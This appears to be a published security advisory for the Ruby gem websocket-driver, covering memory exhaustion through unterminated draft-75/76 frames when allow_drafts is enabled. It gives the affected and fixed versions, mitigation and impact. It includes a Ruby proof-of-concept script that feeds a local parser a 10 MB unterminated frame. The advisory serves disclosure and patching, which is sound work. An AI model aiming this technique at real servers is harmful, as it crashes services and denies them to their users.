websocket-driver: Excessive memory use caused by draft-75/76 buffering
Published 4 Dec 2026 · Updated 5 Dec 2026
Affected package
- Affected
- <0.9.2
- Fixed in
- 0.9.2
bundle update --conservative websocket-driver # Gemfile: '>= 0.9.2'Which websocket-driver does your project really install?
Works for private projects: the file is read in memory to run the scan and then dropped. Also reads Gemfile.
Public repo?
Look after several Rails or Ruby apps? Indie watches up to 15 repos, private ones too, for $5 a month. See Indie
Details
Summary
A server running websocket-driver can be made to buffer data in excess of max_length and potentially run out of memory by a client sending a non-terminated stream of message data.
Details
When configured using allow_drafts: true, the websocket-driver library continues to support legacy draft versions of the WebSocket protocol. These use delimited rather than length-prefixed frames; a frame is initiated by sending 00 and ended by sending FF. If a client sends 00 and then sends a long series of bytes, the server will buffer this data in excess of max_length, potentially causing it to run out of memory if the message is continued indefinitely.
This has been mitigated by properly enforcing the max_length limit at the point where the data is buffered. It can also be prevented by not setting the allow_drafts option.
Proof of concept
This script demonstrates how much data is buffered by a draft-75 parser on receipt of a very long unterminated message:
require 'bundler/setup'
require 'websocket/driver'
class Sock
def write(_) ; end
end
d = WebSocket::Driver.server(Sock.new, :allow_drafts => true, :max_length => 1024)
d.on(:connect) { d.start }
# draft-75 handshake: NO Sec-WebSocket-Key/Version/Key1/Key2 -> Draft75 selected
d.parse(
"GET / HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Upgrade: websocket\r\n" +
"Connection: Upgrade\r\n" +
"Origin: http://localhost\r\n" +
"\r\n")
# One text frame: 0x00, then 10 MB of 0x41, NO terminating 0xFF, in one chunk.
N = 10 << 20
chunk = "\x00" + ("\x41" * (N + 1))
d.parse(chunk)
p d.instance_variable_get(:@delegate)
.instance_variable_get(:@reader)
.instance_variable_get(:@buffer).bytesize
p d.instance_variable_get(:@delegate)
.instance_variable_get(:@buffer).sizeOn vulnerable versions this will print numbers far in excess of the configured max_length.
Impact
A server with allow_drafts enabled can be made to run out of memory and crash by an unauthenticated remote client sending a non-terminating stream of message data.
Is GHSA-q3c8-h5pg-2836 in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected websocket-driver, and gives you the command that fixes it.
More advisories for websocket-driver
- HighCVE-2026-144294websocket-driver: Memory exhaustion triggered by client continuing to send message data after the server sent a Close frame · 4 Dec 2026
- HighCVE-2026-140015websocket-driver: Memory exhaustion triggered by buffering of data received after socket is closed · 1 Dec 2026
- CriticalCVE-2026-140016websocket-driver: Message corruption and denial of service triggered by crafted client message · 1 Dec 2026
- HighCVE-2026-140011permessage-deflate-ruby: Memory exhaustion triggered by message decompression · 1 Dec 2026
- HighCVE-2026-61666websocket-driver-ruby: Denial of service via malformed Host header · 21 Jul 2026
- MediumCVE-2026-54465websocket-driver: Memory exhaustion in HTTP header parser · 15 Jul 2026
References
- Linkgithub.com/faye/websocket-driver-ruby/security/advisories/GHSA-q3c8-h5pg-2836
- Advisorynvd.nist.gov/vuln/detail/CVE-2026-144293
- Linkgithub.com/faye/websocket-driver-ruby/commit/5a0bd6f9cbaa800a3796aa974120ad8bdb38ab35
- Packagegithub.com/faye/websocket-driver-ruby
- Linkgithub.com/faye/websocket-driver-ruby/releases/tag/0.9.2
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.